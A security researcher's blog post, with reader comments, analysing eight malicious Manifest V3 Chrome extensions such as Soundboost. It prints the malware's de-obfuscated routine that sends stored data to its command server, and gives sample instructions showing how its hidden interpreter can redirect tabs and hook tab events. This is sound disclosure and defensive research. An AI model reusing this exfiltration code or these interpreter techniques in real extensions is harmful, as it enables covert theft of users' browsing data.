How malicious extensions hide running arbitrary code

Two days ago I wrote about the malicious extensions I discovered in Chrome Web Store. At some point this article got noticed by Avast. Once their team confirmed my findings, Google finally reacted and started removing these extensions. Out of the 34 extensions I reported, only 8 extensions remain. These eight were all part of an update where I added 16 extensions to my list, an update that came too late for Avast to notice.

Note: Even for the removed extensions, it isn’t “mission accomplished” yet. Yes, the extensions can no longer be installed. However, the existing installations remain. From what I can tell, Google didn’t blocklist these extensions yet.

Avast ran their own search, and they found a bunch of extensions that I didn’t see. So how come they missed eight extensions? The reason seems to be: these are considerably different. They migrated to Manifest V3, so they had to find new ways of running arbitrary code that wouldn’t attract unnecessary attention.

Update (2023-06-03): These extensions have been removed from the Chrome Web Store as well.

Update (2023-06-12): The complete list of extension IDs from this article series can be found here. This repository also contains the check-extensions command-line utility which will search local browser profiles for these extensions.

Which extensions is this about?

The malicious extensions currently still in Chrome Web Store are:

Name Weekly active users Extension ID
Soundboost 6,925,522 chmfnmjfghjpdamlofhlonnnnokkpbao
Amazing Dark Mode 2,228,049 fbjfihoienmhbjflbobnmimfijpngkpa
Awesome Auto Refresh 2,222,284 djmpbcihmblfdlkcfncodakgopmpgpgh
Volume Frenzy 1,626,760 idgncaddojiejegdmkofblgplkgmeipk
Leap Video Downloader 1,454,917 bjlcpoknpgaoaollojjdnbdojdclidkh
Qspeed Video Speed Controller 732,250 pcjmcnhpobkjnhajhhleejfmpeoahclc
HyperVolume 592,479 hinhmojdkodmficpockledafoeodokmc
Light picture-in-picture 172,931 gcnceeflimggoamelclcbhcdggcmnglm

Is it even the same malware?

I found this latest variant of the malicious code thanks to Lukas Andersson who researched reputation manipulation in Chrome Web Store. He shared with me a list of extensions that manipulated reviews similarly to the extensions I already discovered. Some of these extensions in fact turned out malicious, with a bunch using malicious code that I didn’t see before.

But this isn’t evidence that all these extensions are in fact related. And the new variant even communicates with tryimv3srvsts[.]com instead of serasearchtop[.]com. So how can I be certain that it is the same malware?

The obfuscation approach gives it away however: lots of unnecessary conditional statements, useless variables and strings being pieced together. It’s exactly the same thing as I described for the PDF Toolbox extension already. Also, there is this familiar mangled timestamp meant to prevent config downloads in the first 24 hours after installation. It merely moved: localStorage is no longer usable with Manifest V3, so the timestamp is being stored in storage.local.

The code once against masquerades as part of a legitimate library. This time, it has been added to the parser module of the Datejs library.

The “config” downloads

The approach to downloading the instructions changed considerably however. I’ll use Soundboost extension as my example, given that it is by far the most popular. When downloading the “config” file, Soundboost might also upload data. With obfuscation removed, the code looks roughly like this:

async function getConfig()
{
  let config = (await chrome.storage.local.get("<key>")).<key>;
  let options;
  if (config)
  {
    options = {
      method: "POST",
      body: JSON.stringify(config)
    };
  }
  else
  {
    config = {};
    options = {
      method: "GET"
    };
  }
  let response = await fetch(
    "https://tryimv3srvsts.com/chmfnmjfghjpdamlofhlonnnnokkpbao",
    options
  );
  let json = await response.json();
  Object.assign(config, json);
  if (config.l)
    chrome.storage.local.set({<key>: config});
  return config.l;
}

So the extension will retrieve the config from storage.local, send it to the server, merge it with the response and write it back to storage.local. But what’s the point of sending a config to the server that has been previously received from it?

I can see only one answer: by the time the config is sent to the server, additional data will be added to it. So this is a data collection and exfiltration mechanism: the instructions in config.l, when executed by the extension, will collect data and store it in the storage.local entry. And next time the extension starts up this data will be sent to the server.

This impression is further reinforced by the fact that the extension will reload itself every 12 hours. This makes sure that accumulated data will always be sent out after this time period, even if the user never closes their browser.

Executing the instructions

Previously, Chrome extensions could always run arbitrary JavaScript code as content scripts. As this is a major source of security vulnerabilities, Manifest V3 disallowed that. Now running dynamic code is only possible by relaxing default Content Security Policy restrictions. But that would raise suspicions, so malicious extensions would like to avoid it of course.

With sufficient determination, such restrictions can always be worked around however. For example, the Honey extension chose to ship an entire JavaScript interpreter with it. This allowed it to download and run JavaScript code without it being subject to the browser’s security mechanisms. The company was apparently so successful extracting data in this way that PayPal bought it for $4 billion.

A JavaScript interpreter is lots of code however. There are indications that the malicious code in Soundboost is being obfuscated manually, something that doesn’t work with large code quantities. So the instruction processing in Soundboost is a much smaller interpreter, one that supports only 8 possible actions. This minimalistic approach is sufficient to do considerable damage.

The interpreter works on arrays representing expressions, with the first array element indicating the type of the expression and the rest of them being used as parameters. Typically, these parameters will themselves be recursively resolved as expressions. Non-array expressions are left unchanged.

I tried out a bunch of instructions just to see that this approach is sufficient to abuse just about any extension privileges. The following instructions will print a message to console:

[
  // Call console.log
  "@", [".", ["console"], "log"],
  // Verbatim call parameter
  "hi"
]

The following calls chrome.tabs.update() to redirect the current browser tab to another page:

[
  // Call chrome.tabs.update
  "@", [".", [".", ["chrome"], "tabs"], "update"],
  // Verbatim call parameter
  {url: "https://example.com/"}
]

The malicious code also likely wants to add a tabs.onUpdated listener. This turned out to be more complicated. Not because of the necessity of creating a callback, the interpreter has you covered with the "^" expressions there. However, function calls performed with this interpreter won’t pass in a this argument, and addListener method doesn’t like that.

There might be multiple way to work around this issue, but the one I found was calling via Reflect.apply and passing in a this argument explicitly. This also requires calling Array constructor to create an array:

[
  // Call Reflect.apply
  "@", [".", ["Reflect"], "apply"],
  // target parameter: chrome.tabs.onUpdated.addListener
  [".", [".", [".", ["chrome"], "tabs"], "onUpdated"], "addListener"],
  // thisArgument parameter: chrome.tabs.onUpdated
  [".", [".", ["chrome"], "tabs"], "onUpdated"],
  // argumentsList parameter
  [
    // Call Array constructor
    "@", ["Array"],
    // Array element parameter
    [
      // Create closure
      "^",
      [
        // Call console.log
        "@", [".", ["console"], "log"],
        // Pass in function arguments received by the closure
        ["#"]
      ]
    ]
  ]
]

These instructions successfully log any tab change reported to the onUpdated listener.

So this isn’t the most comfortable language to use, but with some tricks it can do pretty much anything. It also lacks flow control constructs other than try .. catch. Yet this is already sufficient to construct simple if blocks, triggering an exception to execute the else part. It should even be possible to emulate loops via recursive calls.

What is this being used for?

As with the other extensions, I haven’t actually seen the instructions that the extensions receive from their server. So I cannot know for certain what they do when activated. Reviews of older extensions report them redirecting Google searches to Bing, which is definitely something these newer extensions could do as well.

As mentioned above however, the newer extensions clearly transmit data to their server. What kind of data? All of them have access to all websites, so it would be logical if they collected full browsing profiles. The older extensions likely did as well, but this isn’t something that users would easily notice.

Quite remarkably, all the extensions also have the scripting permission which is unlikely to be a coincidence. This permission allows the use of the scripting.executeScript API, meaning running JavaScript code in the context of any website loaded in the browser. The catch however is: this API won’t run arbitrary code, only code that is already part of the extension.

I’m not entirely certain what trick the extensions pull to work around this limitation, but they’ve certainly thought of something. Most likely, their trick involves loading background.js into pages – while this file is supposed to run as the extension’s background worker, it’s part of the extension and the scripting.executeScript API will allow using it. One indirect confirmation is the obfuscated code in background.js registering a listener for the message event, despite the fact that nothing should be able to send such messages as long as the script runs as background worker.

Comments

  • Maha

    The localstorage key is really the n-slur backwards? How classy!

    Wladimir Palant

    Ouch, I didn’t realize. Will censor it.

  • victim

    Hello,

    Yesterday I received a notification within Google Chrome to alert me about a malicious extension (listed in your previous article). I have been using the extension for only 10 days and during this period of time, I have never experienced a redirection of google search and have not noticed any suspicious behavior. I guess that the program was collecting data as you explained. I'm a bit worried and would like to ask for advice about needed actions. Ofc, I have deleted the extension but I'm wondering if any malicious code is still there? In which case, should I unsintall Google chrome? format my PC? I'm also resetting the sensitive passwords which I used during this period and I'm even wondering if I should not block my credit card (ofc used as well when the extension was there :D). Apparently, Avast is still investigating on how harmful all this is but I'm not sure they will make real progress as the code is injected and not visible for them.

    Thanks for your work and thank you in advance for the advices

    Wladimir Palant

    Removing the extension is enough, you are no longer affected. As to what this extension did so far: chances are that it didn’t activate yet. It seems that the malicious functionality is only activated after a while, to avoid detection. So you’ve got lucky.

  • Maksym

    I guess this is another fun use of (effectively) lisp, along the lines of https://norvig.com/lispy.html

  • simon

    great catch. for the victim in the above thread, you should do whatever you think is necessary. To Wladimir, I'd advise you against giving advice even though you are well qualified. This will basically open your up to lawsuits if this person finds himself/herself hacked and life's savings lost because you told them everything is OK. For your protection. Be safe.